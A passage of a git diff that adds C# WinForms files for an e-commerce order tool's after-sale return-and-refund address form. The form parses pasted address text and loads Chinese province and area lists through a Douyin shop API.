/// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Text = "AfterSaleOrderRefundAddressForm"; + } + + #endregion + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/AfterSaleOrderRefundAddressForm.cs b/29WxOrder/OrderForms/AfterSaleOrderRefundAddressForm.cs new file mode 100644 index 0000000..e71ed43 --- /dev/null +++ b/29WxOrder/OrderForms/AfterSaleOrderRefundAddressForm.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace _29WxOrder.OrderForms +{ + public partial class AfterSaleOrderRefundAddressForm : Form + { + public AfterSaleOrderRefundAddressForm() + { + InitializeComponent(); + } + } +} diff --git a/29WxOrder/OrderForms/AfterSaleReturnRefundForm.Designer.cs b/29WxOrder/OrderForms/AfterSaleReturnRefundForm.Designer.cs new file mode 100644 index 0000000..e9d17b4 --- /dev/null +++ b/29WxOrder/OrderForms/AfterSaleReturnRefundForm.Designer.cs @@ -0,0 +1,400 @@ +namespace _29WxOrder.OrderForms +{ + partial class AfterSaleReturnRefundForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AfterSaleReturnRefundForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.txtFullAddress = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.textBoxX5 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.panelEx2 = new DevComponents.DotNetBar.PanelEx(); + this.btnAcceptReturnRefund = new DevComponents.DotNetBar.PanelEx(); + this.pnlAutoMatch = new DevComponents.DotNetBar.PanelEx(); + this.txtName = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.txtMobile = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.txtDetailAddress = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.cmbTown = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cmbDistricts = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cmbCity = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cmbProvince = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.label5 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.panel3.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(768, 0); + // + // panel1 + // + this.panel1.Controls.Add(this.panel3); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 32); + this.panel1.Name = "panel1"; + this.panel1.Padding = new System.Windows.Forms.Padding(2, 0, 2, 2); + this.panel1.Size = new System.Drawing.Size(800, 418); + this.panel1.TabIndex = 3; + // + // panel3 + // + this.panel3.BackColor = System.Drawing.Color.White; + this.panel3.Controls.Add(this.txtFullAddress); + this.panel3.Controls.Add(this.panelEx2); + this.panel3.Controls.Add(this.btnAcceptReturnRefund); + this.panel3.Controls.Add(this.pnlAutoMatch); + this.panel3.Controls.Add(this.txtName); + this.panel3.Controls.Add(this.txtMobile); + this.panel3.Controls.Add(this.txtDetailAddress); + this.panel3.Controls.Add(this.cmbTown); + this.panel3.Controls.Add(this.cmbDistricts); + this.panel3.Controls.Add(this.cmbCity); + this.panel3.Controls.Add(this.cmbProvince); + this.panel3.Controls.Add(this.label5); + this.panel3.Controls.Add(this.label4); + this.panel3.Controls.Add(this.label3); + this.panel3.Controls.Add(this.label2); + this.panel3.Controls.Add(this.label1); + this.panel3.Controls.Add(this.textBoxX5); + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(2, 0); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(796, 416); + this.panel3.TabIndex = 0; + // + // txtFullAddress + // + // + // + // + this.txtFullAddress.Border.Class = "TextBoxBorder"; + this.txtFullAddress.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtFullAddress.Location = new System.Drawing.Point(130, 39); + this.txtFullAddress.Multiline = true; + this.txtFullAddress.Name = "txtFullAddress"; + this.txtFullAddress.PreventEnterBeep = true; + this.txtFullAddress.Size = new System.Drawing.Size(502, 52); + this.txtFullAddress.TabIndex = 1; + this.txtFullAddress.WatermarkText = "请粘贴完整退货地址信息(格式:姓名 手机号 省市区 详细地址),点击自动匹配将自动拆分地址信息"; + // + // textBoxX5 + // + // + // + // + this.textBoxX5.Border.Class = "TextBoxBorder"; + this.textBoxX5.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.textBoxX5.Location = new System.Drawing.Point(130, 165); + this.textBoxX5.Name = "textBoxX5"; + this.textBoxX5.PreventEnterBeep = true; + this.textBoxX5.Size = new System.Drawing.Size(218, 23); + this.textBoxX5.TabIndex = 0; + // + // panelEx2 + // + this.panelEx2.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx2.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx2.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx2.Font = new System.Drawing.Font("微软雅黑", 10F); + this.panelEx2.Location = new System.Drawing.Point(714, 375); + this.panelEx2.Name = "panelEx2"; + this.panelEx2.Size = new System.Drawing.Size(70, 21); + this.panelEx2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx2.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx2.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx2.Style.BorderColor.Color = System.Drawing.Color.Transparent; + this.panelEx2.Style.CornerDiameter = 1; + this.panelEx2.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelEx2.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx2.Style.GradientAngle = 90; + this.panelEx2.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx2.TabIndex = 692; + this.panelEx2.Text = "取消"; + this.panelEx2.Click += new System.EventHandler(this.panelEx2_Click); + // + // btnAcceptReturnRefund + // + this.btnAcceptReturnRefund.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btnAcceptReturnRefund.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnAcceptReturnRefund.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAcceptReturnRefund.DisabledBackColor = System.Drawing.Color.Empty; + this.btnAcceptReturnRefund.Font = new System.Drawing.Font("微软雅黑", 10F); + this.btnAcceptReturnRefund.Location = new System.Drawing.Point(638, 375); + this.btnAcceptReturnRefund.Name = "btnAcceptReturnRefund"; + this.btnAcceptReturnRefund.Size = new System.Drawing.Size(70, 21); + this.btnAcceptReturnRefund.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnAcceptReturnRefund.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btnAcceptReturnRefund.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.btnAcceptReturnRefund.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnAcceptReturnRefund.Style.CornerDiameter = 1; + this.btnAcceptReturnRefund.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.btnAcceptReturnRefund.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnAcceptReturnRefund.Style.GradientAngle = 90; + this.btnAcceptReturnRefund.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnAcceptReturnRefund.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnAcceptReturnRefund.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnAcceptReturnRefund.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnAcceptReturnRefund.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnAcceptReturnRefund.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.btnAcceptReturnRefund.TabIndex = 691; + this.btnAcceptReturnRefund.Text = "确定"; + this.btnAcceptReturnRefund.Click += new System.EventHandler(this.btnAcceptReturnRefund_Click); + // + // pnlAutoMatch + // + this.pnlAutoMatch.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlAutoMatch.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlAutoMatch.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlAutoMatch.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlAutoMatch.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlAutoMatch.Location = new System.Drawing.Point(638, 70); + this.pnlAutoMatch.Name = "pnlAutoMatch"; + this.pnlAutoMatch.Size = new System.Drawing.Size(70, 21); + this.pnlAutoMatch.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlAutoMatch.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlAutoMatch.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlAutoMatch.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlAutoMatch.Style.CornerDiameter = 1; + this.pnlAutoMatch.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlAutoMatch.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlAutoMatch.Style.GradientAngle = 90; + this.pnlAutoMatch.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlAutoMatch.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlAutoMatch.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlAutoMatch.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlAutoMatch.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlAutoMatch.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlAutoMatch.TabIndex = 2; + this.pnlAutoMatch.TabStop = true; + this.pnlAutoMatch.Text = "自动匹配"; + this.pnlAutoMatch.Click += new System.EventHandler(this.pnlAutoMatch_Click); + // + // txtName + // + // + // + // + this.txtName.Border.Class = "TextBoxBorder"; + this.txtName.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtName.Location = new System.Drawing.Point(130, 232); + this.txtName.Name = "txtName"; + this.txtName.PreventEnterBeep = true; + this.txtName.Size = new System.Drawing.Size(502, 23); + this.txtName.TabIndex = 13; + this.txtName.WatermarkText = "请填写姓名"; + // + // txtMobile + // + // + // + // + this.txtMobile.Border.Class = "TextBoxBorder"; + this.txtMobile.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtMobile.Location = new System.Drawing.Point(130, 198); + this.txtMobile.Name = "txtMobile"; + this.txtMobile.PreventEnterBeep = true; + this.txtMobile.Size = new System.Drawing.Size(502, 23); + this.txtMobile.TabIndex = 11; + this.txtMobile.WatermarkText = "请填写手机号"; + // + // txtDetailAddress + // + // + // + // + this.txtDetailAddress.Border.Class = "TextBoxBorder"; + this.txtDetailAddress.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtDetailAddress.Location = new System.Drawing.Point(130, 136); + this.txtDetailAddress.Multiline = true; + this.txtDetailAddress.Name = "txtDetailAddress"; + this.txtDetailAddress.PreventEnterBeep = true; + this.txtDetailAddress.Size = new System.Drawing.Size(502, 52); + this.txtDetailAddress.TabIndex = 9; + this.txtDetailAddress.WatermarkText = "请填写详细地址"; + // + // cmbTown + // + this.cmbTown.DisplayMember = "Text"; + this.cmbTown.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbTown.FormattingEnabled = true; + this.cmbTown.ItemHeight = 18; + this.cmbTown.Location = new System.Drawing.Point(511, 101); + this.cmbTown.Name = "cmbTown"; + this.cmbTown.Size = new System.Drawing.Size(121, 24); + this.cmbTown.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbTown.TabIndex = 7; + this.cmbTown.WatermarkText = "--请选择--"; + // + // cmbDistricts + // + this.cmbDistricts.DisplayMember = "Text"; + this.cmbDistricts.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbDistricts.FormattingEnabled = true; + this.cmbDistricts.ItemHeight = 18; + this.cmbDistricts.Location = new System.Drawing.Point(384, 101); + this.cmbDistricts.Name = "cmbDistricts"; + this.cmbDistricts.Size = new System.Drawing.Size(121, 24); + this.cmbDistricts.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbDistricts.TabIndex = 6; + this.cmbDistricts.WatermarkText = "--请选择--"; + this.cmbDistricts.SelectedIndexChanged += new System.EventHandler(this.cmbDistricts_SelectedIndexChanged); + // + // cmbCity + // + this.cmbCity.DisplayMember = "Text"; + this.cmbCity.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbCity.FormattingEnabled = true; + this.cmbCity.ItemHeight = 18; + this.cmbCity.Location = new System.Drawing.Point(257, 101); + this.cmbCity.Name = "cmbCity"; + this.cmbCity.Size = new System.Drawing.Size(121, 24); + this.cmbCity.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbCity.TabIndex = 5; + this.cmbCity.WatermarkText = "--请选择--"; + this.cmbCity.SelectedIndexChanged += new System.EventHandler(this.cmbCity_SelectedIndexChanged); + // + // cmbProvince + // + this.cmbProvince.DisplayMember = "Text"; + this.cmbProvince.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbProvince.FormattingEnabled = true; + this.cmbProvince.ItemHeight = 18; + this.cmbProvince.Location = new System.Drawing.Point(130, 102); + this.cmbProvince.Name = "cmbProvince"; + this.cmbProvince.Size = new System.Drawing.Size(121, 24); + this.cmbProvince.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbProvince.TabIndex = 4; + this.cmbProvince.WatermarkText = "--请选择--"; + this.cmbProvince.SelectedIndexChanged += new System.EventHandler(this.cmbProvince_SelectedIndexChanged); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label5.Location = new System.Drawing.Point(80, 235); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(44, 17); + this.label5.TabIndex = 12; + this.label5.Text = "姓名:"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label4.Location = new System.Drawing.Point(68, 201); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(56, 17); + this.label4.TabIndex = 10; + this.label4.Text = "手机号:"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label3.Location = new System.Drawing.Point(56, 139); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(68, 17); + this.label3.TabIndex = 8; + this.label3.Text = "详细地址:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label2.Location = new System.Drawing.Point(68, 105); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(56, 17); + this.label2.TabIndex = 3; + this.label2.Text = "省市区:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label1.Location = new System.Drawing.Point(56, 39); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(68, 17); + this.label1.TabIndex = 0; + this.label1.Text = "退货地址:"; + // + // AfterSaleReturnRefundForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.panel1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "AfterSaleReturnRefundForm"; + this.Text = "退货退款"; + this.TitleText = "退货退款"; + this.Load += new System.EventHandler(this.AfterSaleReturnRefundForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbTown; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbDistricts; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbCity; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbProvince; + private DevComponents.DotNetBar.Controls.TextBoxX txtFullAddress; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private DevComponents.DotNetBar.Controls.TextBoxX txtName; + private DevComponents.DotNetBar.Controls.TextBoxX txtMobile; + private DevComponents.DotNetBar.Controls.TextBoxX txtDetailAddress; + private DevComponents.DotNetBar.PanelEx pnlAutoMatch; + private DevComponents.DotNetBar.PanelEx panelEx2; + private DevComponents.DotNetBar.PanelEx btnAcceptReturnRefund; + private DevComponents.DotNetBar.Controls.TextBoxX textBoxX5; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/AfterSaleReturnRefundForm.cs b/29WxOrder/OrderForms/AfterSaleReturnRefundForm.cs new file mode 100644 index 0000000..fa5dad8 --- /dev/null +++ b/29WxOrder/OrderForms/AfterSaleReturnRefundForm.cs @@ -0,0 +1,409 @@ +using AllBase; +using AllBase.Model.Result; +using DevComponents.DotNetBar; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BaseForms; + +namespace _29WxOrder.OrderForms +{ + + public partial class AfterSaleReturnRefundForm : BaseForm + { + public static List lstProvince = new List(); + public static List lstArea = new List(); + string _orderId; + string _shopId; + string _afterSaleId; + public bool ResultFlag = false; + + public AfterSaleReturnRefundForm(string afterSaleId = "", string orderId = "", string shopId = "") + { + InitializeComponent(); + + _orderId = orderId; + _shopId = shopId; + _afterSaleId = afterSaleId; + } + + private void AfterSaleReturnRefundForm_Load(object sender, EventArgs e) + { + var result = textBoxX5.Focus(); + + Task.Run(() => { GetAddress(); }); + } + + private void pnlAutoMatch_Click(object sender, EventArgs e) + { + var fullAddressArr = txtFullAddress.Text.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries); + + if (fullAddressArr.Length < 3) + { + BaseMsgForm.ShowError("地址格式错误,识别失败!"); + return; + } + + txtMobile.Text = txtName.Text = txtDetailAddress.Text = ""; + + var mobileStr = fullAddressArr[1]; + var mobile = BaseRegex.GetMatchRegexString(ref mobileStr, "(\\d{11})"); + if (string.IsNullOrEmpty(mobile)) + mobile = BaseRegex.GetMatchRegexString(ref mobileStr, "(0\\d{2,3}-\\d{7,8})"); + if (string.IsNullOrEmpty(mobile)) + { + BaseMsgForm.ShowError("手机格式不正确,识别失败!"); + return; + } + + this.txtName.Text = fullAddressArr[0]; + this.txtMobile.Text = mobile; + + AutoMatchAddress(fullAddressArr[2]); + + if (fullAddressArr.Length > 3) + { + this.txtDetailAddress.Text = fullAddressArr[3]; + } + } + + + public void GetAddress() + { + if (lstProvince.Count == 0) + { + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == _shopId); + DouyinApi api = new DouyinApi(shop); + var address = api.GetAddressProvince(); + //{"code":10000,"data":[{"province":"安徽省","province_id":34},{"province":"澳门特别行政区","province_id":82},{"province":"北京市","province_id":11},{"province":"重庆市","province_id":50},{"province":"福建省","province_id":35},{"province":"广东省","province_id":44},{"province":"甘肃省","province_id":62},{"province":"广西壮族自治区","province_id":45},{"province":"贵州省","province_id":52},{"province":"河北省","province_id":13},{"province":"湖北省","province_id":42},{"province":"黑龙江省","province_id":23},{"province":"河南省","province_id":41},{"province":"湖南省","province_id":43},{"province":"海南省","province_id":46},{"province":"吉林省","province_id":22},{"province":"江苏省","province_id":32},{"province":"江西省","province_id":36},{"province":"辽宁省","province_id":21},{"province":"内蒙古自治区","province_id":15},{"province":"宁夏回族自治区","province_id":64},{"province":"青海省","province_id":63},{"province":"四川省","province_id":51},{"province":"山东省","province_id":37},{"province":"上海市","province_id":31},{"province":"山西省","province_id":14},{"province":"陕西省","province_id":61},{"province":"天津市","province_id":12},{"province":"台湾省","province_id":71},{"province":"香港特别行政区","province_id":81},{"province":"新疆维吾尔自治区","province_id":65},{"province":"西藏自治区","province_id":54},{"province":"云南省","province_id":53},{"province":"浙江省","province_id":33}],"err_no":0,"log_id":"20220715142943010208016085061166AE","message":"success","msg":"success","sub_code":"","sub_msg":""} + if (address.Contains("\"message\":\"success\"") || address.Contains("\"code\":10000")) + { + JObject jObj = JObject.Parse(address); + var data = jObj["data"]; + if (data != null) + { + lstProvince.AddRange(JsonHelper.DeserializeJsonToList(data.ToString())); + } + } + } + foreach (var province in lstProvince) + { + Invoke(new Action(() => + { + this.cmbProvince.Items.Add(new ComboBoxItem(province.province_id, province.province)); + })); + } + } + + public void AutoMatchAddress(string fullAddress) + { + string province = ""; + string city = ""; + string district = ""; + string town = ""; + AddressProvince AddressProvince = null; + AddressArea AddressCity = null; + AddressArea AddressDistrict = null; + + Task.Run((Action)(() => + { + while (fullAddress.Length > 0) + { + foreach (var p in lstProvince) + { + if (fullAddress.StartsWith(p.province)) + { + AddressProvince = p; + province = p.province; + fullAddress = fullAddress.Substring(province.Length); + Invoke(new Action(() => + { + var cmbItem = cmbProvince.Items.Cast().FirstOrDefault(c => c.Name == p.province_id); + this.cmbProvince.SelectedItem = cmbItem; + })); + break; + } + if (fullAddress.StartsWith(p.province.Replace("省", "").Replace("市", "").Replace("自治区", ""))) + { + AddressProvince = p; + province = p.province.Replace("省", "").Replace("市", "").Replace("自治区", ""); + fullAddress = fullAddress.Substring(province.Length); + Invoke(new Action(() => + { + this.cmbProvince.SelectedItem = cmbProvince.Items.Cast().FirstOrDefault(c => c.Name == p.province_id); + })); + break; + } + } + if (string.IsNullOrEmpty(province)) + fullAddress = fullAddress.Substring(1); + else + break; + } + + if (AddressProvince == null) + return; + var citys = lstArea.Where(a => a.father_code.ToString() == AddressProvince.province_id).ToList(); + while (fullAddress.Length > 0) + { + foreach (var c in citys) + { + if (fullAddress.StartsWith(c.name)) + { + AddressCity = c; + city = c.name; + fullAddress = fullAddress.Substring(city.Length); + Invoke(new Action(() => + { + this.cmbCity.SelectedItem = cmbCity.Items.Cast().FirstOrDefault((Func)(cmb => cmb.Name == c.code.ToString())); + })); + break; + } + if (fullAddress.StartsWith(c.name.Replace("市", ""))) + { + AddressCity = c; + city = c.name.Replace("市", ""); + fullAddress = fullAddress.Substring(city.Length); + Invoke(new Action(() => + { + this.cmbCity.SelectedItem = cmbCity.Items.Cast().FirstOrDefault((Func)(cmb => cmb.Name == c.code.ToString())); + })); + break; + } + } + if (string.IsNullOrEmpty(city)) + fullAddress = fullAddress.Substring(1); + else + break; + } + + if (AddressCity == null) + return; + var districts = lstArea.Where(a => a.father_code == AddressCity.code).ToList(); + while (fullAddress.Length > 0) + { + + foreach (var d in districts) + { + if (fullAddress.StartsWith(d.name)) + { + AddressDistrict = d; + district = d.name; + fullAddress = fullAddress.Substring(district.Length); + Invoke(new Action(() => + { + this.cmbDistricts.SelectedItem = cmbDistricts.Items.Cast().FirstOrDefault((Func)(cmb => cmb.Name == d.code.ToString())); + })); + break; + } + if (fullAddress.StartsWith(d.name.Replace("区", "").Replace("县", ""))) + { + AddressDistrict = d; + district = d.name.Replace("区", "").Replace("县", ""); + fullAddress = fullAddress.Substring(district.Length); + Invoke(new Action(() => + { + this.cmbDistricts.SelectedItem = cmbDistricts.Items.Cast().FirstOrDefault((Func)(cmb => cmb.Name == d.code.ToString())); + })); + break; + } + } + if (string.IsNullOrEmpty(district)) + fullAddress = fullAddress.Substring(1); + else + break; + } + + if (AddressDistrict == null) + return; + var towns = lstArea.Where(a => a.father_code == AddressDistrict.code).ToList(); + while (fullAddress.Length > 0) + { + foreach (var t in towns) + { + if (fullAddress.StartsWith(t.name)) + { + town = t.name; + fullAddress = fullAddress.Substring(town.Length); + Invoke(new Action(() => + { + this.cmbTown.SelectedItem = cmbTown.Items.Cast().FirstOrDefault((Func)(cmb => cmb.Name == t.code.ToString())); + })); + break; + } + } + if (string.IsNullOrEmpty(town)) + fullAddress = fullAddress.Substring(1); + else + break; + } + + Invoke(new Action(() => + { + if (fullAddress.Length > 0 && string.IsNullOrWhiteSpace(txtDetailAddress.Text)) + { + txtDetailAddress.Text = fullAddress; + } + })); + + })); + } + + private void cmbProvince_SelectedIndexChanged(object sender, EventArgs e) + { + var item = cmbProvince.SelectedItem as ComboBoxItem; + var prov = lstArea.FirstOrDefault(a => a.code.ToString() == item.Name); + if (prov == null) + { + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == _shopId); + DouyinApi api = new DouyinApi(shop); + var area = api.GetAreasByProvince(item.Name.ToString()); + if (area.Contains("\"message\":\"success\"") || area.Contains("\"code\":10000")) + { + JObject jObj = JObject.Parse(area); + var data = jObj["data"]; + if (data != null) + { + List listArea = JsonHelper.DeserializeJsonToList(data.ToString()); + lstArea.AddRange(listArea); + foreach (var province in listArea) + { + lstArea.AddRange(province.sub_districts); + foreach (var city in province.sub_districts) + { + lstArea.AddRange(city.sub_districts); + foreach (var district in city.sub_districts) + { + lstArea.AddRange(district.sub_districts); + } + } + } + + } + } + } + prov = lstArea.FirstOrDefault(a => a.code.ToString() == item.Name); + if (prov != null) + { + this.cmbCity.Items.Clear(); + + var citys = lstArea.Where(a => a.father_code == prov.code); + foreach (var city in citys) + { + cmbCity.Items.Add(new ComboBoxItem(city.code.ToString(), city.name)); + } + cmbCity.DroppedDown = true; + } + } + + private void cmbCity_SelectedIndexChanged(object sender, EventArgs e) + { + var item = 